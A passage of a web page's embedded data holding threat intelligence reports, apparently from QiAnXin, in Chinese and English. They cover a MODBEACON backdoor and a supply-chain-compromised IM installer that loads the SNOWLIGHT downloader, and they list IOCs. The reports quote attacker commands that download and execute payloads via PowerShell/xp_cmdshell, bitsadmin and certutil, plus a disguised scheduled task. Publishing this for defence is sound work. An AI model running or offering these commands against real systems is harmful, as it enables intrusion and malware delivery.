1051. 解析内置 HTTPS C2。</p>\n<p class="line" data-line="151">2. 建立 native TLS connector。</p>\n<p class="line" data-line="153">3. 使用 gRPC <code>Tun</code> 服务打开双向隧道。</p>\n<p class="line" data-line="155">4. 在 metadata 中携带 <code>x\\-agent\\-token</code>。</p>\n<p class="line" data-line="157">5. 发送 hello,等待 <code>HelloAck</code>。</p>\n<p class="line" data-line="159">6. 维持 heartbeat。</p>\n<p class="line" data-line="161">7. 接收 server frame 并分发命令。</p>\n<p class="line" data-line="163">8. 上传状态刷新和命令执行结果。</p>\n<p class="line" data-line="165">导入区同时出现 <code>WSAStartup</code>、<code>WSASocketW</code>、<code>connect</code>、<code>send</code>、<code>recv</code>、<code>shutdown</code>、<code>CertGetCertificateChain</code>、<code>CertVerifyCertificateChainPolicy</code>、<code>InitializeSecurityContextW</code>、<code>EncryptMessage</code>、<code>DecryptMessage</code>,支持上述网络/TLS 判断。</p>\n<br>\n<h4 class="line" data-line="169">主机指纹采集</h4>\n<p class="line" data-line="171"><code>0x465c5</code> 附近引用 <code>SOFTWARE\\\\Microsoft\\\\Cryptography\\\\MachineGuid</code>,字符串池还包含:</p>\n<ul>\n<li><code>COMPUTERNAME</code></li>\n<li><code>HOSTNAME</code></li>\n<li><code>USERNAME</code></li>\n<li><code>USERLOGNAME</code></li>\n<li><code>SystemRoot</code></li>\n<li><code>windir</code></li>\n<li><code>SystemDrive</code></li>\n<li><code>platform</code></li>\n<li><code>system\\-disk</code></li>\n<li><code>host\\-user</code></li>\n<li><code>windows\\-system\\-volume:</code></li>\n</ul>\n<p class="line" data-line="184">推测该阶段采集主机唯一标识、用户名、主机名、系统目录和磁盘信息,用于注册 agent、生成上线状态或环境标签。</p>\n<br>\n<h4 class="line" data-line="188">命令与插件分发</h4>\n<p class="line" data-line="190">protobuf/gRPC 语义字符串位于 `0x7b600+`:</p>\n<ul>\n<li><code>Command</code></li>\n<li><code>command\\_id</code></li>\n<li><code>HelloAck</code></li>\n<li><code>Heartbeat</code></li>\n<li><code>ConfigSync</code></li>\n<li><code>LoadPlugin</code></li>\n<li><code>UnloadPlugin</code></li>\n<li><code>StatusRefresh</code></li>\n<li><code>PluginSessionFrame</code></li>\n<li><code>artifact\\_bytes</code></li>\n<li><code>artifact\\_format</code></li>\n<li><code>sha256</code></li>\n<li><code>target</code></li>\n<li><code>source\\_flag</code></li>\n</ul>\n<p class="line" data-line="206"><code>0x44003</code> 附近多处引用 <code>PluginSessionFrame</code>,<code>0x4475f</code> 附近多处引用 <code>LoadPlugin</code>
105 相关枚举/字段,说明服务端 frame 被解析后进入不同命令处理分支。</p>\n<br>\n<h4 class="line" data-line="210">native-v3 内存插件加载</h4>\n<p class="line" data-line="212">字符串池 <code>0x79900\\-0x7a758</code> 包含完整 native-v3 loader 错误路径:</p>\n<ul>\n<li><code>load plugin artifact</code></li>\n<li><code>load native\\-v3 plugin module</code></li>\n<li><code>plugin loaded in memory</code></li>\n<li><code>plugin reloaded in memory</code></li>\n<li><code>plugin unloaded</code></li>\n<li><code>native\\-v3 plugin on\\_load failed</code></li>\n<li><code>native\\-v3 plugin on\\_session is missing</code></li>\n<li><code>artifact target architecture does not match this agent</code></li>\n<li><code>segment protection failed</code></li>\n<li><code>relocation overflow</code></li>\n<li><code>entry rva is not executable</code></li>\n<li><code>segment cannot be writable and executable</code></li>\n</ul>\n<p class="line" data-line="226">这表明样本支持从 C2 下发 <code>native\\-v3</code> 格式插件,在内存中分配镜像、校验架构、映射 segment、应用 relocation、设置内存保护并调用插件入口/会话回调。该能力可用于后续按需扩展窃密、横向移动、代理转发或其他载荷。</p>\n<br>\n<h2 class="line" data-line="230">总结</h2>\n<p class="line" data-line="232">目前,基于奇安信威胁情报中心的威胁情报数据的全线产品,包括奇安信威胁情报平台(TIP)、天擎、天眼高级威胁检测系统、奇安信NGSOC、奇安信态势感知等,都已经支持对此类攻击的精确检测。</p>\n<p class="line img-box text-center" data-line="234"><img src="/uploads/2026/07/06/4f700fa635d3332454558cda64be81b6.png" alt="" width="70%"></p>\n<br>\n<h2 class="line" data-line="238">IOC</h2>\n<p class="line" data-line="240">MODBEACON-MD5:</p>\n<p class="line" data-line="242">13aff4f82171d42e7f0a72dc96346c45</p>\n<p class="line" data-line="244">f6c69d8026d2114e5322f06f69471a6c</p>\n<p class="line" data-line="246">9913b09fddbe47d4459c1ae0aa8c4953</p>\n<p class="line" data-line="248">e32797efc17c8a9a663f6f0e64fcfa08</p>\n<p class="line" data-line="250">MODBEACON C2:</p>\n<p class="line" data-line="252">skystackservice.com</p>\n<p class="line" data-line="254">fast-cloud-node.com</p>\n<p class="line" data-line="256">ghost C2:</p>\n<p class="line" data-line="258">www.nd9c887r.com</p>\n<p class="line" data-line="260">www.damaix9k.com</p>\n<p class="line" data-line="262">vaeth.cn</p>\n<p class="line" data-line="264">182.16.88.242:22</p>\n<p class="line" data-line="266">kkuu8899.org</p>\n<br>\n<h2 class="line" data-line="270">参考链接</h2>\n<p class="line" data-line="272">[1] https://mp.weixin.qq.com/s/BUDSvqc_DhBNad71kI2VuA</p>\n<p class="line" data-line="274">[2] https://ti.qianxin.com/blog/articles/operation-dragon-breath-(apt-q-27)-dimensionality-reduction-blow-to-the-gambling-industry/</p>\n<p class="line" data-line="276">[3] https://www.secrss.com/articles/27069</p>\n',campaign:n,area:[],industries:[],degree:d,aggressor_type:[],permlink:"https://ti.qianxin.com/blog/articles/operation-phnom-penh-silverfox-ghost-distributor-targets-specific-victims-with-modbeacon-cn"},{_id:Zn,title:pt,category:f,readableId:"original-supply-chain-incident-on-an-encrypted-im-official-website-cn",isPdfArticle:a,isAdvisorArticle:a,abstract:"奇安信威胁情报中心红雨滴团队私有情报生产流程发现一家面向中文用户提供私密IM的软件官网上的安装包被替换。被替换的安装包除了正常流程外,还会释放如下组件,内存加载SNOWLIGHT下载者,最终运行魔改nps隧道。",author:i,headImg:t,descImg:e,pdfFile:e,iocFile:e,tags:[p],publish_time:"2026-05-12T03:25:45.000Z",content:'<h2 class="line" data-line="0">概述</h2>\n<p class="line" data-line="2">奇安信威胁情报中心红雨滴团队私有情报生产流程发现一家面向中文用户提供私密IM的软件官网上的安装包被替换,下载信息如下:</p>\n<table>\n<thead>\n<tr>\n<th>-</th>\n<th>-</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><strong>字段名称 (Field)</strong></td>\n<td><strong>详细信息 (Details)</strong></td>\n</tr>\n<tr>\n<td><strong>Referrer</strong></td>\n<td>hxxps:// www.sXXXit.com/(官方网站)<br>https://www.sXXXXchat.com/ (官方网站)</td>\n</tr>\n<tr>\n<td><strong>Download URL</strong></td>\n<td>https://XXXXsu.oss-cn-beijing.aliyuncs.com/XX_pc.exe (官方URL路径)</td>\n</tr>\n<tr>\n<td><strong>Malware MD5</strong></td>\n<td>df3bd55c46adbf13ae68b5a9b1da19a0</td>\n</tr>\n</tbody>\n</table>\n<p class="line" data-line="11">被替换的安装包除了正常流程外,还会释放如下组件,内存加载SNOWLIGHT下载者,最终运行魔改nps隧道。</p>\n<p class="line img-box text-center" data-line="13"><img src="/uploads/2026/05/12/6032b30e2ab0d35bc3141bf70edbe8f7.png" alt="" width="70%"></p>\n<p class="line" data-line="15">天擎高级威胁引擎可以对落地木马进行拦截:</p>\n<p class="line img-box text-center" data-line="17"><img src="/uploads/2026/05/12/2270a398f462ef8d0c540c2a5cdd584b.png" alt="" width="70%"></p>\n<br>\n<h2 class="line" data-line="21">SNOWLIGHT分析以及事件披露</h2>\n<p class="line" data-line="23">
105SNOWLIGHT最早由Mandiant于2024年初披露<sup>[1]</sup>,归属于UNC5174。奇安信威胁情报中心则是在2024年低CSDN事件<sup>[2]</sup>的后续组件中观察到了SNOWLIGHT内存加载Vshell的情况,但并没有对外公开。直到2025年发布《Operation(润)RUN》<sup>[3]</sup>对UNC5174进行了明确的定性。</p>\n<p class="line" data-line="25">SNOWLIGHT支持linux和windows双平台,协议上支持http、https、websocket、QUIC等协议</p>\n<br>\n<h3 class="line" data-line="29">Win平台事件</h3>\n<h4 class="line" data-line="31">内网渗透</h4>\n<p class="line" data-line="33">Win平台下的活动分为两类,一类通过sqlserver爆破和主流web组件漏洞入侵边界windows服务器,通过执行bitsadmin或者curl下载并执行BAT类型的SNOWLIGHT:</p>\n<p class="line img-box text-center" data-line="35"><img src="/uploads/2026/05/12/6f980c647a1b85f4809d0bbc1b16de43.png" alt="" width="70%"></p>\n<p class="line" data-line="37">BAT脚本下载golang或C++版本的SNOWLIGHT:</p>\n<p class="line img-box text-center" data-line="39"><img src="/uploads/2026/05/12/cd1c0fbe7bf104df63f6be58268939dd.png" alt="" width="70%"></p>\n<p class="line" data-line="41">C++编译的SNOWLIGHT如下:</p>\n<p class="line img-box text-center" data-line="43"><img src="/uploads/2026/05/12/75d1f296dbe127a55cdd939f40e7c054.png" alt="" width="70%"></p>\n<p class="line" data-line="45">不同的渗透阶段SNOWLIGHT加载的payload有所不同,在《Operation(润)RUN》一文中提到SNOWLIGHT回连内网节点的情况,在2026年初我们在媒体行业观察到了相同的案例,攻击者在目标内网的服务器区通过反向代理建立了多个SNOWLIGHT节点,并在横向移动过程中请求内网节点下载BAT类型的SNOWLIGHT:</p>\n<table>\n<thead>\n<tr>\n<th>-</th>\n<th>-</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><strong>Cmd</strong></td>\n<td></td>\n</tr>\n<tr>\n<td>cmd.exe&quot; /c EXEC xp_cmdshell \'powershell -nop -w hidden -c &quot;$client = New-Object System.Net.WebClient; $client.DownloadFile(\'\'http://172.XX.XXX9:38087/swt\'\', \'\'C:\\Users\\Public\\run.bat\'\'); Start-Process C:\\Users\\Public\\run.bat&quot;\';</td>\n<td></td>\n</tr>\n<tr>\n<td>bitsadmin /transfer myjob /download /priority high http://172.XX.X.189:38087/swt C:\\Users\\Public\\run.bat</td>\n<td></td>\n</tr>\n<tr>\n<td>certutil.exe -urlcache -split -f &quot;http://172.XX.XX.24:8881/?h=172.XX.XX.24&amp;p=8881&amp;t=tcp&amp;a=w64&amp;stage=true&quot; &quot;C:\\Users\\Public\\858f6b86tcp.exe&quot;</td>\n<td></td>\n</tr>\n</tbody>\n</table>\n<p class="line" data-line="54">内网SNOWLIGHT节点返回的banner信息如下:</p>\n<p class="line img-box text-center" data-line="56"><img src="/uploads/2026/05/12/1d1ec784544d05299bcd5c0a69c80a46.png" alt="" width="70%"></p>\n<p class="line" data-line="58">经过分析攻击者通过SNOWLIGHT下载的payload类型如下:</p>\n<table>\n<thead>\n<tr>\n<th>-</th>\n<th>-</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><strong>文件名</strong></td>\n<td><strong>类型</strong></td>\n</tr>\n<tr>\n<td>chr.exe</td>\n<td>浏览器窃密插件</td>\n</tr>\n<tr>\n<td>fs.exe</td>\n<td>Fscan内网扫描器</td>\n</tr>\n<tr>\n<td>rrq.exe</td>\n<td>提权工具</td>\n</tr>\n<tr>\n<td>sanforV.exe</td>\n<td>SharpWeb窃密工具</td>\n</tr>\n</tbody>\n</table>\n<p class="line" data-line="68">涉及的PDB如下:</p>\n<table>\n<thead>\n<tr>\n<th>-</th>\n<th>-</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><strong>PDB</strong></td>\n<td></td>\n</tr>\n<tr>\n<td>D:\\项目\\武器化\\内存加载PE\\x64\\Release\\内存加载PE.pdb</td>\n<td></td>\n</tr>\n<tr>\n<td>D:\\soft1\\soft\\浏览器dump\\SharpWeb-main - 副本\\SharpWeb-main\\SharpWeb\\obj\\Debug\\SharpWeb.pdb</td>\n<td></td>\n</tr>\n</tbody>\n</table>\n<br>\n<h4 class="line" data-line="78">鱼叉邮件</h4>\n<p class="line" data-line="80">通过lnk钓鱼的方式启动SNOWLIGHT:</p>\n<table>\n<thead>\n<tr>\n<th>-</th>\n<th>-</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><strong>Lnk</strong></td>\n<td></td>\n</tr>\n<tr>\n<td>XXXXXX技术学院机房项目&amp;.pdf.lnk</td>\n<td></td>\n</tr>\n<tr>\n<td>targetcmd</td>\n<td></td>\n</tr>\n<tr>\n<td>C:\\Windows\\System32\\rundll32.exe&quot; url.dll,FileProtocolHandler &quot;.\\__MACOSA\\__MACOSA\\__MACOSA\\__MACOSA\\__MACOSA\\__MACOSA\\a.exe</td>\n<td></td>\n</tr>\n</tbody>\n</table>\n<p class="line" data-line="89">随后内存加载开源项目SharpHunter,收集运维终端本机信息:</p>
105\n<p class="line img-box text-center" data-line="91"><img src="/uploads/2026/05/12/eeecdfaaef028fb11fb0f811c68c1841.png" alt="" width="70%"></p>\n<p class="line" data-line="93">并给SNOWLIGHT创建计划任务:</p>\n<table>\n<thead>\n<tr>\n<th>-</th>\n<th>-</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><strong>Cmd</strong></td>\n<td></td>\n</tr>\n<tr>\n<td>schtasks /create /tn &quot;奇安信天擎安全浏览器服务&quot; /tr &quot;\\&quot;C:\\Program Files\\奇安信天擎安全浏览器\\TQSecurityExplorer.exe\\&quot;&quot; /sc onstart /ru</td>\n<td></td>\n</tr>\n</tbody>\n</table>\n<br>\n<h4 class="line" data-line="102">供应链水坑/仿冒水坑</h4>\n<p class="line" data-line="104">除了本次披露的IM官网供应链之外,其还在仿冒一些私密IM官网,该活动可能与博彩业务有关。</p>\n<p class="line img-box text-center" data-line="106"><img src="/uploads/2026/05/12/51e604eaf7a872d0510220950efc5274.png" alt="" width="70%"></p>\n<p class="line" data-line="108">以本次供应链落地的木马为例,polymorphism.exe 运行后会读取 config.dat 并在内存中解密执行,经分析为4KB大小shellcode态的SNOWLIGHT。</p>\n<p class="line img-box text-center" data-line="110"><img src="/uploads/2026/05/12/b7e204b0f23ed0aad08f18eed35c552d.png" alt="" width="70%"></p>\n<p class="line" data-line="112">连接 18.179.119.184:80 下载后续载荷。</p>\n<p class="line img-box text-center" data-line="114"><img src="/uploads/2026/05/12/be9b175eeafcdfa88dcd716f4635e74a.png" alt="" width="70%"></p>\n<p class="line" data-line="116">最终载荷为魔改的npm隧道,配置文件如下:</p>\n<p class="line img-box text-center" data-line="118"><img src="/uploads/2026/05/12/9f7dd0cbf9a235747c12ae09036427e5.png" alt="" width="70%"></p>\n<br>\n<h3 class="line" data-line="122">Linux平台事件</h3>\n<p class="line" data-line="124">Linux平台下针对AI类型的服务器通过爆破和漏洞作为攻击入口启动反弹shell后下载bash类型的SNOWLIGHT脚本。</p>\n<p class="line img-box text-center" data-line="126"><img src="/uploads/2026/05/12/fe10ce0149017ed1d2af119ce1e5f8df.png" alt="" width="70%"></p>\n<p class="line" data-line="128">下载elf类型的SNOWLIGHT,最终内存加载魔改npm隧道。<img src="/uploads/2026/05/12/0178ed1aabd1393e897465b714f69c2e.png" alt="" width="70%"><img src="/uploads/2026/05/12/1b4e59783bb090db38c003528cd7ffbd.png" alt="" width="70%"></p>\n<br>\n<h2 class="line" data-line="132">总结</h2>\n<p class="line" data-line="134">目前,基于奇安信威胁情报中心的威胁情报数据的全线产品,包括奇安信威胁情报平台(TIP)、天擎、天眼高级威胁检测系统、奇安信NGSOC、奇安信态势感知等,都已经支持对此类攻击的精确检测。</p>\n<p class="line img-box text-center" data-line="136"><img src="/uploads/2026/05/12/9abf8969a60565cd8746097ca2924636.png" alt="" width="70%"></p>\n<br>\n<h2 class="line" data-line="140">IOC</h2>\n<p class="line" data-line="142"><strong>FileHash-MD5:</strong></p>\n<p class="line" data-line="144">df3bd55c46adbf13ae68b5a9b1da19a0</p>\n<p class="line" data-line="146">f7e32bac29d48021903a62e3c64ca84b</p>\n<p class="line" data-line="148">45fec0b0e4c8b99a9719a9f153272494</p>\n<p class="line" data-line="150">6c0b5793bf6074de94c13c23225573bd</p>\n<p class="line" data-line="152">b7b85cd03240cc51038adb027702ee22</p>\n<p class="line" data-line="154">3720be773080e5ba3a366c90ba7513b8</p>\n<p class="line" data-line="156"><strong>C2:</strong></p>\n<p class="line" data-line="158">18.179.119.184:80</p>\n<br>\n<h2 class="line" data-line="162">参考链接</h2>\n<p class="line" data-line="164">[1] https://cloud.google.com/blog/topics/threat-intelligence/initial-access-brokers-exploit-f5-screenconnect</p>\n<p class="line" data-line="166">[2] https://mp.weixin.qq.com/s/qQw1DXE25Gkz_P8pEPVaHg</p>\n<p class="line" data-line="168">[3] https://ti.qianxin.com/blog/articles/operation-run-the-cyber-carnival-of-offshore-patriots-cn/</p>\n',campaign:n,area:[],industries:[],degree:d,aggressor_type:[],permlink:"https://ti.qianxin.com/blog/articles/original-supply-chain-incident-on-an-encrypted-im-official-website-cn"},{_id:Yn,title:Pt,category:f,readableId:"original-supply-chain-incident-on-an-encrypted-im-official-website-en",isPdfArticle:a,isAdvisorArticle:a,abstract:"The RedDrip Team of QAX Threat Intelligence Center discovered during a private intelligence production process that the installer package on the official website of a software providing private IM for Chinese users had been replaced. The replaced installer, in addition to its normal routine, also drops the following components, loads the SNOWLIGHT downloader in memory, and ultimately runs a modified nps tunnel.\n\n",author:i,headImg:t,descImg:e,pdfFile:e,iocFile:e,tags:[p],publish_time:"2026-05-12T03:03:05.000Z",content:'<h2 class="line" data-line="0">Overview</h2>\n<p class="line" data-line="2">The RedDrip Team of Qianxin Threat Intelligence Center discovered through its private intelligence production process that the installation package on the official website of a private IM software targeting Chinese-speaking users had been replaced. The download details are as follows:</p>\n<table>\n<thead>\n<tr>\n<th>-</th>\n<th>-</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><strong>Field</strong></td>\n<td><strong>Details</strong></td>\n</tr>\n<tr>\n<td><strong>Referrer</strong></td>\n<td>hxxps:// www.sXXXit.com/(Official Website)<br> https://www.sXXXXchat.com/(Official Website)</td>\n</tr>\n<tr>\n<td><strong>Download URL</strong></td>\n<td>
105https://XXXXsu.oss-cn-beijing.aliyuncs.com/XX_pc.exe (Official URL Path)</td>\n</tr>\n<tr>\n<td><strong>Malware MD5</strong></td>\n<td>df3bd55c46adbf13ae68b5a9b1da19a0</td>\n</tr>\n</tbody>\n</table>\n<p class="line" data-line="11">In addition to the normal installation flow, the replaced package also drops the following components, memory-loads the SNOWLIGHT downloader, and ultimately executes a modified nps tunnel.</p>\n<p class="line img-box text-center" data-line="13"><img src="/uploads/2026/05/12/6032b30e2ab0d35bc3141bf70edbe8f7.png" alt="" width="70%"></p>\n<p class="line" data-line="15">The Tianqing advanced threat engine can block the landed malware:</p>\n<p class="line img-box text-center" data-line="17"><img src="/uploads/2026/05/12/2270a398f462ef8d0c540c2a5cdd584b.png" alt="" width="70%"></p>\n<br>\n<h2 class="line" data-line="21">SNOWLIGHT Analysis and Event Disclosure</h2>\n<p class="line" data-line="23">SNOWLIGHT was first disclosed by Mandiant in early 2024 <sup>[1]</sup>, attributed to UNC5174. Qianxin Threat Intelligence Center observed SNOWLIGHT memory-loading Vshell in subsequent components of the late-2024 CSDN incident <sup>[2]</sup>, but did not disclose this publicly at the time. It was not until the 2025 publication of Operation (Run) RUN <sup>[3]</sup> that UNC5174 was formally characterized.</p>\n<p class="line" data-line="25">SNOWLIGHT supports both Linux and Windows platforms, and protocols including HTTP, HTTPS, WebSocket, and QUIC.</p>\n<br>\n<h3 class="line" data-line="29">Windows Platform Incidents</h3>\n<h4 class="line" data-line="31">Internal Network Penetration</h4>\n<p class="line" data-line="33">Windows platform activities are divided into two categories. In the first, attackers infiltrate perimeter Windows servers through SQL Server brute-forcing and mainstream web component vulnerabilities, then use bitsadmin or curl to download and execute BAT-type SNOWLIGHT:</p>\n<p class="line img-box text-center" data-line="35"><img src="/uploads/2026/05/12/6f980c647a1b85f4809d0bbc1b16de43.png" alt="" width="70%"></p>\n<p class="line" data-line="37">The BAT script downloads Golang or C++ versions of SNOWLIGHT:</p>\n<p class="line img-box text-center" data-line="39"><img src="/uploads/2026/05/12/cd1c0fbe7bf104df63f6be58268939dd.png" alt="" width="70%"></p>\n<p class="line" data-line="41">The C++ compiled SNOWLIGHT is shown below:</p>\n<p class="line img-box text-center" data-line="43"><img src="/uploads/2026/05/12/75d1f296dbe127a55cdd939f40e7c054.png" alt="" width="70%"></p>\n<p class="line" data-line="45">Different penetration stages involve SNOWLIGHT loading different payloads. As mentioned in 《Operation Run》, SNOWLIGHT was observed connecting to internal network nodes. In early 2026, we observed a similar case in the media industry, where attackers established multiple SNOWLIGHT nodes in the target\'s internal server zone through reverse proxies, and requested internal nodes to download BAT-type SNOWLIGHT during lateral movement:</p>\n<table>\n<thead>\n<tr>\n<th>-</th>\n<th>-</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><strong>Cmd</strong></td>\n<td></td>\n</tr>\n<tr>\n<td>cmd.exe&quot; /c EXEC xp_cmdshell \'powershell -nop -w hidden -c &quot;$client = New-Object System.Net.WebClient; $client.DownloadFile(\'\'http://172.XX.XXX9:38087/swt\'\', \'\'C:\\Users\\Public\\run.bat\'\'); Start-Process C:\\Users\\Public\\run.bat&quot;\';</td>\n<td></td>\n</tr>\n<tr>\n<td>bitsadmin /transfer myjob /download /priority high http://172.XX.X.189:38087/swt C:\\Users\\Public\\run.bat</td>\n<td></td>\n</tr>\n<tr>\n<td>certutil.exe -urlcache -split -f &quot;http://172.XX.XX.24:8881/?h=172.XX.XX.24&amp;p=8881&amp;t=tcp&amp;a=w64&amp;stage=true&quot; &quot;C:\\Users\\Public\\858f6b86tcp.exe&quot;</td>\n<td></td>\n</tr>\n</tbody>\n</table>\n<p class="line" data-line="55">The banner information returned by internal network SNOWLIGHT nodes is as follows:</p>\n<p class="line img-box text-center" data-line="57"><img src="/uploads/2026/05/12/1d1ec784544d05299bcd5c0a69c80a46.png" alt="" width="70%"></p>\n<p class="line" data-line="59">Analysis reveals the following payload types downloaded by SNOWLIGHT:</p>\n<table>\n<thead>\n<tr>\n<th>-</th>\n<th>-</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><strong>Filename</strong></td>\n<td><strong>Type</strong></td>\n</tr>\n<tr>\n<td>chr.exe</td>\n<td>Browser credential-stealing plugin</td>\n</tr>\n<tr>\n<td>fs.exe</td>\n<td>Fscan internal network scanner</td>\n</tr>\n<tr>\n<td>rrq.exe</td>\n<td>Privilege escalation tool</td>\n</tr>\n<tr>\n<td>sanforV.exe</td>\n<td>SharpWeb credential-stealing tool</td>\n</tr>\n</tbody>\n</table>\n<p class="line" data-line="69">The involved PDB paths are as follows:</p>\n<table>\n<thead>\n<tr>\n<th>-</th>\n<th>-</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><strong>PDB</strong>_</td>\n<td></td>\n</tr>\n<tr>\n<td>D:\\项目\\武器化\\内存加载PE\\x64\\Release\\内存加载PE.pdb</td>\n<td></td>\n</tr>\n<tr>\n<td>D:\\soft1\\soft\\浏览器dump\\SharpWeb-main - 副本\\SharpWeb-main\\SharpWeb\\obj\\Debug\\SharpWeb.pdb</td>\n<td></td>\n</tr>\n</tbody>\n</table>\n<br>\n<h4 class="line" data-line="79">Spear Phishing</h4>\n<p class="line" data-line="82">Attackers launch SNOWLIGHT via LNK phishing:</p>\n<table>\n<thead>\n<tr>\n<th>-</th>\n<th>-</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><strong>Lnk</strong></td>\n<td></td>\n</tr>\n<tr>\n<td>XXXXXX技术学院机房项目&amp;.pdf.lnk</td>\n<td></td>\n</tr>\n<tr>\n<td>targetcmd</td>\n<td></td>\n</tr>\n<tr>\n<td>C:\\Windows\\System32\\rundll32.exe&quot; url.dll,FileProtocolHandler &quot;.\\__MACOSA\\__MACOSA\\__MACOSA\\__MACOSA\\__MACOSA\\__MACOSA\\a.exe</td>\n<td></td>\n</tr>\n</tbody>\n</table>
105\n<p class="line" data-line="91">They then memory-load the open-source project SharpHunter to collect information from the compromised maintenance terminal:</p>\n<p class="line img-box text-center" data-line="93"><img src="/uploads/2026/05/12/eeecdfaaef028fb11fb0f811c68c1841.png" alt="" width="70%"></p>\n<p class="line" data-line="95">And create a scheduled task for SNOWLIGHT:</p>\n<table>\n<thead>\n<tr>\n<th>-</th>\n<th>-</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><strong>Cmd</strong></td>\n<td></td>\n</tr>\n<tr>\n<td>schtasks /create /tn &quot;奇安信天擎安全浏览器服务&quot; /tr &quot;\\&quot;C:\\Program Files\\奇安信天擎安全浏览器\\TQSecurityExplorer.exe\\&quot;&quot; /sc onstart /ru</td>\n<td></td>\n</tr>\n</tbody>\n</table>\n<br>\n<h4 class="line" data-line="104">Supply Chain Watering Hole / Fake Watering Hole</h4>\n<p class="line" data-line="106">In addition to the IM official website supply chain disclosed in this report, the group also fakes private IM official websites, an activity potentially related to the gambling business.</p>\n<p class="line img-box text-center" data-line="108"><img src="/uploads/2026/05/12/51e604eaf7a872d0510220950efc5274.png" alt="" width="70%"></p>\n<p class="line" data-line="110">Taking the Trojan deployed in this supply chain incident as an example, polymorphism.exe reads config.dat after execution and decrypts and executes it in memory. Analysis reveals it to be a 4KB shellcode-form SNOWLIGHT.</p>\n<p class="line img-box text-center" data-line="112"><img src="/uploads/2026/05/12/b7e204b0f23ed0aad08f18eed35c552d.png" alt="" width="70%"></p>\n<p class="line" data-line="114">It connects to 18.179.119.184:80 to download subsequent payloads.</p>\n<p class="line img-box text-center" data-line="116"><img src="/uploads/2026/05/12/be9b175eeafcdfa88dcd716f4635e74a.png" alt="" width="70%"></p>\n<p class="line" data-line="118">The final payload is a modified nps tunnel. The configuration file is as follows:</p>\n<p class="line img-box text-center" data-line="120"><img src="/uploads/2026/05/12/9f7dd0cbf9a235747c12ae09036427e5.png" alt="" width="70%"></p>\n<br>\n<h3 class="line" data-line="124">Linux Platform Incidents</h3>\n<p class="line" data-line="126">On the Linux platform, attackers target AI-type servers, using brute-forcing and vulnerabilities as entry points to launch reverse shells, then download bash-type SNOWLIGHT scripts.</p>\n<p class="line img-box text-center" data-line="128"><img src="/uploads/2026/05/12/fe10ce0149017ed1d2af119ce1e5f8df.png" alt="" width="70%"></p>\n<p class="line" data-line="130">They download ELF-type SNOWLIGHT, ultimately memory-loading a modified nps tunnel.</p>\n<p class="line img-box text-center" data-line="132"><img src="/uploads/2026/05/12/0178ed1aabd1393e897465b714f69c2e.png" alt="" width="70%"><img src="/uploads/2026/05/12/1b4e59783bb090db38c003528cd7ffbd.png" alt="" width="70%"></p>\n<br>\n<h2 class="line" data-line="136">Summary</h2>\n<p class="line" data-line="138">Currently, based on threat intelligence data from Qianxin Threat Intelligence Center, all product lines—including the Qianxin Threat Intelligence Platform (TIP), Tianqing, SkyEye Advanced Threat Detection System, Qianxin NGSOC, and Qianxin Situation Awareness—have supported precise detection of such attacks.</p>\n<p class="line img-box text-center" data-line="140"><img src="/uploads/2026/05/12/9abf8969a60565cd8746097ca2924636.png" alt="" width="70%"></p>\n<br>\n<h2 class="line" data-line="144">IOC</h2>\n<p class="line" data-line="146"><strong>FileHash-MD5:</strong></p>\n<p class="line" data-line="148">df3bd55c46adbf13ae68b5a9b1da19a0</p>\n<p class="line" data-line="150">f7e32bac29d48021903a62e3c64ca84b</p>\n<p class="line" data-line="152">45fec0b0e4c8b99a9719a9f153272494</p>\n<p class="line" data-line="154">6c0b5793bf6074de94c13c23225573bd</p>\n<p class="line" data-line="156">b7b85cd03240cc51038adb027702ee22</p>\n<p class="line" data-line="158">3720be773080e5ba3a366c90ba7513b8</p>\n<p class="line" data-line="160"><strong>C2:</strong></p>\n<p class="line" data-line="162">18.179.119.184:80</p>\n<br>\n<h2 class="line" data-line="166">References</h2>\n<p class="line" data-line="168">[1] https://cloud.google.com/blog/topics/threat-intelligence/initial-access-brokers-exploit-f5-screenconnect</p>\n<p class="line" data-line="170">[2] https://mp.weixin.qq.com/s/qQw1DXE25Gkz_P8pEPVaHg</p>\n<p class="line" data-line="172">[3] https://ti.qianxin.com/blog/articles/operation-run-the-cyber-carnival-of-offshore-patriots-cn/</p>\n',campaign:n,area:[],industries:[],degree:d,aggressor_type:[],permlink:"https://ti.qianxin.com/blog/articles/original-supply-chain-incident-on-an-encrypted-im-official-website-en"},{_id:dt,title:It,category:s,readableId:"supply-chain-attack-on-official-installer-of-a-virtual-mobile-service-provider-en",isPdfArticle:a,isAdvisorArticle:a,abstract:"Through the private intelligence production process of the RedDrip Team at QiAnXin Threat Intelligence Center, it was discovered that the official website installer of a domestic cloud phone and virtual mobile service provider was suspected of being replaced between February 2026 and the end of March 2026. The service has now returned to normal, and the incident resulted in a large number of government and enterprise endpoints being compromised.\n",author:i,headImg:t,descImg:e,pdfFile:e,iocFile:e,tags:[p,bp],publish_time:"2026-04-14T03:02:55.000Z",content:'<h2 class="line" data-line="0">Impact Scope</h2>\n<p class="line" data-line="2">The RedDrip Team of QiAnXin Threat Intelligence Center discovered through private intelligence production processes that the official website installer of a domestic cloud phone/virtual mobile service provider was suspected to be replaced during the peri
